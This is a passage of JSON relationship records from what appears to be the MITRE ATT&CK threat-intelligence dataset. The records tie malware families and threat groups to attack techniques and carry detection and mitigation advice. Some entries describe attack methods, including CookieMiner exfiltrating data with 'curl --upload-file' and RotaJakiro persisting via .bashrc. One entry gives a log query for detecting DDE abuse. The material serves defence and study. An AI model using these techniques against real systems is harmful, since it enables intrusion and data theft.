"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--2267876a-6c6a-4944-9bf2-eaf8e41b087c", "created": "2022-03-30T14:26:51.861Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "ACSC Email Spoofing", "description": "Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020.", "url": "https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf"}, {"source_name": "Microsoft Anti Spoofing", "description": "Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020.", "url": "https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-09-08T20:58:45.525Z", "description": "Depending on the specific method of phishing, the detections can vary. Monitor for suspicious email activity, such as numerous accounts receiving messages from a single unusual/unknown sender. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)\nWhen it comes to following links, monitor for references to uncategorized or known-bad sites. URL inspection within email (including expanding shortened links) can also help detect links leading to known malicious sites.\nMonitor social media traffic for suspicious activity, including messages requesting information as well as abnormal file or data transfers (especially those involving unknown, or otherwise suspicious accounts).\n\nMonitor call logs from corporate devices to identify patterns of potential voice phishing, such as calls to/from known malicious phone numbers.", "relationship_type": "detects", "source_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", "target_ref": "attack-pattern--cca0ccb6-a068-4574-a722-b1556f86833a", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--226961a0-998c-4402-a7de-3c7922c4b45e", "created": "2023-06-14T21:46:55.129Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "RotaJakiro 2021 netlab360 analysis", "description": " Alex Turing, Hui Wang. (2021, April 28). RotaJakiro: A long live secret backdoor with 0 VT detection. Retrieved June 14, 2023.", "url": "https://blog.netlab.360.com/stealth_rotajakiro_backdoor_en/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-10-12T21:17:14.871Z", "description": "When executing with non-root level permissions, [RotaJakiro](https://attack.mitre.org/software/S1078) can install persistence by adding a command to the .bashrc file that executes a binary in the  `${HOME}/.gvfsd/.profile/` folder.(Citation: RotaJakiro 2021 netlab360 analysis)", "relationship_type": "uses", "source_ref": "malware--08e844a8-371f-4fe3-9d1f-e056e64a7fde", "target_ref": "attack-pattern--b63a34e8-0a61-4c97-a23b-bf8a2ed812e2", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--22708534-eb0e-4217-93a9-74615c537411", "created": "2024-03-01T19:19:30.558Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Leonard TAG 2023", "description": "Billy Leonard. (2023, April 19). Ukraine remains Russia\u2019s biggest cyber focus in 2023. Retrieved March 1, 2024.", "url": "https://blog.google/threat-analysis-group/ukraine-remains-russias-biggest-cyber-focus-in-2023/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-04-04T19:35:18.554Z", "description": "[APT28](https://attack.mitre.org/groups/G0007) compromised Ubiquiti network devices to act as collection devices for credentials compromised via phishing webpages.(Citation: Leonard TAG 2023)", "relationship_type": "uses", "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", "target_ref": "attack-pattern--149b477f-f364-4824-b1b5-aa1d56115869", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--2275a778-0ba1-40a7-8421-1659dc2e38d4", "created": "2023-08-01T18:21:24.875Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "BitDefender BADHATCH Mar 2021", "description": "Vrabie, V., et al. (2021, March 10). FIN8 Returns with Improved BADHATCH Toolkit. Retrieved September 8, 2021.", "url": "https://www.bitdefender.com/files/News/CaseStudies/study/394/Bitdefender-PR-Whitepaper-BADHATCH-creat5237-en-EN.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-09-19T13:35:02.557Z", "description": "(Citation: BitDefender BADHATCH Mar 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826", "target_ref": "malware--3553b49d-d4ae-4fb6-ab17-0adbc520c888", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--227624a1-7dda-4691-89b3-49336aa68bfa", "type": "relationship", "created": "2020-11-30T16:35:35.610Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cybereason Bazar July 2020", "url": "https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles", "description": "Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9\u2019S DEVELOPMENT CYCLES. Retrieved November 18, 2020."}], "modified": "2020-11-30T16:35:35.610Z", "description": "[Bazar](https://attack.mitre.org/software/S0534) can inject code through calling <code>VirtualAllocExNuma</code>.(Citation: Cybereason Bazar July 2020)", "relationship_type": "uses", "source_ref": "malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0", "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2278eb19-1ff4-4406-ab79-03108732330c", "type": "relationship", "created": "2020-06-16T17:53:18.779Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Gamaredon June 2020", "url": "https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/", "description": "Boutin, J. (2020, June 11). Gamaredon group grows its game. Retrieved June 16, 2020."}], "modified": "2020-06-16T17:53:18.779Z", "description": "[Gamaredon Group](https://attack.mitre.org/groups/G0047) has compiled the source code for a downloader directly on the infected system using the built-in <code>Microsoft.CSharp.CSharpCodeProvider</code> class.(Citation: ESET Gamaredon June 2020)\t", "relationship_type": "uses", "source_ref": "intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf", "target_ref": "attack-pattern--c726e0a2-a57a-4b7b-a973-d0f013246617", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--227abd66-91cc-436e-aad8-c1fb82691357", "type": "relationship", "created": "2019-01-30T15:47:41.421Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "TrendMicro Lazarus Nov 2018", "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-continues-heists-mounts-attacks-on-financial-organizations-in-latin-america/", "description": "Trend Micro. (2018, November 20). Lazarus Continues Heists, Mounts Attacks on Financial Organizations in Latin America. Retrieved December 3, 2018."}], "modified": "2020-03-20T16:06:56.297Z", "description": "[AuditCred](https://attack.mitre.org/software/S0347) can search through folders and files on the system.(Citation: TrendMicro Lazarus Nov 2018)", "relationship_type": "uses", "source_ref": "malware--24b4ce59-eaac-4c8b-8634-9b093b7ccd92", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2286857e-ad96-4dda-abac-988e8cadda5c", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 Kazuar May 2017", "description": "Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/"}], "modified": "2019-04-24T15:26:03.779Z", "description": "[Kazuar](https://attack.mitre.org/software/S0265) downloads additional plug-ins to load on the victim\u2019s machine, including the ability to upgrade and replace its own binary.(Citation: Unit 42 Kazuar May 2017)", "relationship_type": "uses", "source_ref": "malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--22879bfd-c9de-480b-83f3-4b58ef6dd08e", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Symantec Darkmoon Aug 2005", "description": "Hayashi, K. (2005, August 18). Backdoor.Darkmoon. Retrieved February 23, 2018.", "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2005-081910-3934-99"}], "modified": "2020-03-16T16:57:13.434Z", "description": "[PoisonIvy](https://attack.mitre.org/software/S0012) creates run key Registry entries pointing to a malicious executable dropped to disk.(Citation: Symantec Darkmoon Aug 2005)", "relationship_type": "uses", "source_ref": "malware--b42378e0-f147-496f-992a-26a49705395b", "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--228c84a6-e6fa-45f3-9f89-36a0c95fb1e7", "created": "2021-03-11T16:55:13.614Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Leonardo Turla Penquin May 2020", "description": "Leonardo. (2020, May 29). MALWARE TECHNICAL INSIGHT TURLA \u201cPenquin_x64\u201d. Retrieved March 11, 2021.", "url": "https://www.leonardo.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-09-28T21:27:07.135Z", "description": "[Penquin](https://attack.mitre.org/software/S0587) can execute remote commands using bash scripts.(Citation: Leonardo Turla Penquin May 2020)", "relationship_type": "uses", "source_ref": "malware--d18cb958-f4ad-4fb3-bb4f-e8994d206550", "target_ref": "attack-pattern--a9d4b653-6915-42af-98b2-5758c4ceee56", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--228e71e2-0e76-4020-a850-7a568412259b", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Palo Alto Comnie", "description": "Grunzweig, J. (2018, January 31). Comnie Continues to Target Organizations in East Asia. Retrieved June 7, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-comnie-continues-target-organizations-east-asia/"}], "modified": "2020-03-17T00:43:31.998Z", "description": "[Comnie](https://attack.mitre.org/software/S0244) executes a batch script to store discovery information in %TEMP%\\info.dat and then uploads the temporarily file to the remote C2 server.(Citation: Palo Alto Comnie)", "relationship_type": "uses", "source_ref": "malware--f4c80d39-ce10-4f74-9b50-a7e3f5df1f2e", "target_ref": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--22907af2-9859-4a41-bcb4-0eaf2bb6993b", "created": "2022-03-30T14:26:51.845Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-28T14:43:28.886Z", "description": "Monitor for newly executed processes that may use Windows Dynamic Data Exchange (DDE) to execute arbitrary commands. Adversaries may use Windows Dynamic Data Exchange (DDE) to execute arbitrary commands. DDE is a client-server protocol for one-time and/or continuous inter-process communication (IPC) between applications. Once a link is established, applications can autonomously exchange transactions consisting of strings, warm data links (notifications when a data item changes), hot data links (duplications of changes to a data item), and requests for command execution.\n\nAnalytic 1 - Unusual Child Process spawned using DDE exploit\n\n<code> (source=\"WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (source=\"WinEventLog:Security\" EventCode=\"4688\") Image=\"*.exe\" (ParentImage=\"*excel.exe\" OR ParentImage=\"*word.exe\" OR ParentImage=\"*outlook.exe\")</code>", "relationship_type": "detects", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--232a7e42-cd6e-4902-8fe9-2960f529dd4d", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--229150e3-5c4b-475e-8981-27fb472ad119", "type": "relationship", "created": "2020-03-19T23:11:54.931Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "GitHub LaZagne Dec 2018", "url": "https://github.com/AlessandroZ/LaZagne", "description": "Zanni, A. (n.d.). The LaZagne Project !!!. Retrieved December 14, 2018."}], "modified": "2020-03-19T23:11:54.931Z", "description": "[LaZagne](https://attack.mitre.org/software/S0349) can obtain credentials from chats, databases, mail, and WiFi.(Citation: GitHub LaZagne Dec 2018)", "relationship_type": "uses", "source_ref": "tool--b76b2d94-60e4-4107-a903-4a3a7622fb3b", "target_ref": "attack-pattern--837f9164-50af-4ac0-8219-379d8a74cefc", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2296f1da-0910-46ee-81f7-5d10cb8753cd", "type": "relationship", "created": "2021-03-28T23:26:11.696Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "NCC Group Team9 June 2020", "url": "https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/", "description": "Pantazopoulos, N. (2020, June 2). In-depth analysis of the new Team9 malware family. Retrieved December 1, 2020."}], "modified": "2021-03-28T23:26:11.696Z", "description": "[Bazar](https://attack.mitre.org/software/S0534) has been downloaded via Windows BITS functionality.(Citation: NCC Group Team9 June 2020)", "relationship_type": "uses", "source_ref": "malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0", "target_ref": "attack-pattern--c8e87b83-edbb-48d4-9295-4974897525b7", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--229e8b6e-6c16-406a-8def-7588aaae4fcb", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023", "description": "FBI et al. (2023, May 9). Hunting Russian Intelligence \u201cSnake\u201d Malware. Retrieved June 8, 2023.", "url": "https://www.cisa.gov/sites/default/files/2023-05/aa23-129a_snake_malware_2.pdf"}, {"source_name": "Symantec Waterbug", "description": "Symantec. (2015, January 26). The Waterbug attack group. Retrieved April 10, 2015.", "url": "https://www.threatminer.org/report.php?q=waterbug-attack-group.pdf&y=2015#gsc.tab=0&gsc.q=waterbug-attack-group.pdf&gsc.page=1"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-06-12T20:32:47.401Z", "description": "[Uroburos](https://attack.mitre.org/software/S0022) uses a custom packer.(Citation: Symantec Waterbug)(Citation: Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023)", "relationship_type": "uses", "source_ref": "malware--80a014ba-3fef-4768-990b-37d8bd10d7f4", "target_ref": "attack-pattern--deb98323-e13f-4b0c-8d94-175379069062", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--22a1c738-6d0f-4abd-b00c-ee0b37ba1db6", "type": "relationship", "created": "2021-11-12T19:30:36.054Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Fortinet Diavol July 2021", "url": "https://www.fortinet.com/blog/threat-research/diavol-new-ransomware-used-by-wizard-spider", "description": "Neeamni, D., Rubinfeld, A.. (2021, July 1). Diavol - A New Ransomware Used By Wizard Spider?. Retrieved November 12, 2021."}], "modified": "2021-11-12T19:30:36.054Z", "description": "[Diavol](https://attack.mitre.org/software/S0659) has a command to traverse the files and directories in a given path.(Citation: Fortinet Diavol July 2021) ", "relationship_type": "uses", "source_ref": "malware--4e9bdf9a-4957-47f6-87b3-c76898d3f623", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--22a54751-c1f2-498a-bae0-fa4736c86bf5", "type": "relationship", "created": "2020-03-12T18:59:53.783Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://objective-see.com/blog/blog_0x25.html", "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.", "source_name": "objsee mac malware 2017"}], "modified": "2020-03-12T18:59:53.783Z", "description": "[MacSpy](https://attack.mitre.org/software/S0282) persists via a Launch Agent.(Citation: objsee mac malware 2017)", "relationship_type": "uses", "source_ref": "malware--f72251cb-2be5-421f-a081-99c29a1209e7", "target_ref": "attack-pattern--d10cbd34-42e3-45c0-84d2-535a09849584", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--22a59466-1502-431a-a2c7-a8cb09928a74", "created": "2022-04-19T16:45:00.890Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Microsoft NICKEL December 2021", "url": "https://www.microsoft.com/security/blog/2021/12/06/nickel-targeting-government-organizations-across-latin-america-and-europe", "description": "MSTIC. (2021, December 6). NICKEL targeting government organizations across Latin America and Europe. Retrieved March 18, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Neoichor](https://attack.mitre.org/software/S0691) can download additional files onto a compromised host.(Citation: Microsoft NICKEL December 2021)", "modified": "2022-04-19T16:45:00.890Z", "relationship_type": "uses", "source_ref": "malware--4d7bf2ac-f953-4907-b114-be44dc174d67", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--22a699a2-ad75-470e-87c9-9ec8f9763e8e", "type": "relationship", "created": "2021-06-30T19:45:34.421Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Bitdefender Naikon April 2021", "url": "https://www.bitdefender.com/files/News/CaseStudies/study/396/Bitdefender-PR-Whitepaper-NAIKON-creat5397-en-EN.pdf", "description": "Vrabie, V. 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Tasks may also be created through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional logging may need to be configured to gather the appropriate data.", "modified": "2022-04-16T20:29:43.121Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "detects", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--f3d95a1f-bba2-44ce-9af7-37866cd63fd0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--22c5d62b-40cd-4dce-9b6d-7836b67ee7f5", "type": "relationship", "created": "2020-01-24T15:06:36.002Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-01-24T15:06:36.002Z", "relationship_type": "revoked-by", "source_ref": "attack-pattern--62166220-e498-410f-a90a-19d4339d4e99", "target_ref": "attack-pattern--6d4a7fb3-5a24-42be-ae61-6728a2b581f6", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--22c8877f-3819-4345-8a42-45f2192c086a", "type": "relationship", "created": "2022-03-30T14:26:51.869Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.869Z", "description": "Monitor for newly constructed network connections that are sent or received by untrusted hosts. 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Identify and block potentially malicious software executed through search order hijacking by using application control solutions capable of blocking DLLs loaded by legitimate software.", "relationship_type": "mitigates", "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", "target_ref": "attack-pattern--2fee9321-3e71-4cf4-af24-d4d40d355b34", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--22d01548-0512-4acb-a386-51ec7a822329", "type": "relationship", "created": "2020-10-21T02:14:05.494Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit42 CookieMiner Jan 2019", "url": "https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/", "description": "Chen, y., et al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges\u2019 Cookies. Retrieved July 22, 2020."}], "modified": "2020-10-21T02:14:05.494Z", "description": "[CookieMiner](https://attack.mitre.org/software/S0492) has used the <code>curl --upload-file</code> command to exfiltrate data over HTTP.(Citation: Unit42 CookieMiner Jan 2019)", "relationship_type": "uses", "source_ref": "malware--eedc01d5-95e6-4d21-bcd4-1121b1df4586", "target_ref": "attack-pattern--fb8d023d-45be-47e9-bc51-f56bcae6435b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--22d01d2c-6c2e-4e59-98ac-393aef16ffe3", "type": "relationship", "created": "2021-11-24T20:17:35.747Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "MalwareBytes LazyScripter Feb 2021", "url": "https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf", "description": "Jazi, H. (2021, February). LazyScripter: From Empire to double RAT. Retrieved November 24, 2021."}], "modified": "2021-11-24T20:17:35.747Z", "description": "(Citation: MalwareBytes LazyScripter Feb 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--abc5a1d4-f0dc-49d1-88a1-4a80e478bb03", "target_ref": "tool--7cd0bc75-055b-4098-a00e-83dc8beaff14", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--22d11711-5794-42aa-a9c5-02895fe3420d", "type": "relationship", "created": "2019-06-24T13:52:51.861Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2021-04-22T16:13:35.051Z", "description": "Update software regularly by employing patch management for internal enterprise endpoints and servers.", "relationship_type": "mitigates", "source_ref": "course-of-action--e5d930e9-775a-40ad-9bdb-b941d8dfe86b", "target_ref": "attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--22da85ee-6ef2-490b-9850-41be8a9b3860", "created": "2022-03-30T14:26:51.868Z", "x_mitre_version": "0.1", "x_mitre_deprecated": false, "revoked": false, "description": "Monitor executed commands and arguments that may attempt to extract credential material from the Security Account Manager (SAM) database either through in-memory techniques or through the Windows Registry where the SAM database is stored.", "modified": "2022-04-18T19:05:26.418Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "detects", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--1644e709-12d2-41e5-a60f-3470991f5011", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--22dd54d0-4285-444a-9bbd-ce3b3bd81b67", "type": "relationship", "created": "2020-09-30T17:09:31.964Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-09-30T17:09:31.964Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--40f5caa0-4cb7-4117-89fc-d421bb493df3", "target_ref": "attack-pattern--0458aab9-ad42-4eac-9e22-706a95bafee2", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--22de39b7-5d1c-4d44-b63c-36cf14a9c90d", "type": "relationship", "created": "2020-08-03T15:14:17.946Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Prevx Carberp March 2011", "url": "http://pxnow.prevx.com/content/blog/carberp-a_modular_information_stealing_trojan.pdf", "description": "Giuliani, M., Allievi, A. (2011, February 28). Carberp - a modular information stealing trojan. Retrieved July 15, 2020."}], "modified": "2021-08-25T20:08:30.254Z", "description": "[Carberp](https://attack.mitre.org/software/S0484) has hooked several Windows API functions to steal credentials.(Citation: Prevx Carberp March 2011)", "relationship_type": "uses", "source_ref": "malware--bbcd7a02-ef24-4171-ac94-a93540173b94", "target_ref": "attack-pattern--f5946b5e-9408-485f-a7f7-b5efc88909b6", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--22dfe85e-3eeb-4b0a-ac61-b80f70a1f092", "type": "relationship", "created": "2019-10-05T02:15:29.999Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Microsoft Azure Storage Security, 2019", "url": 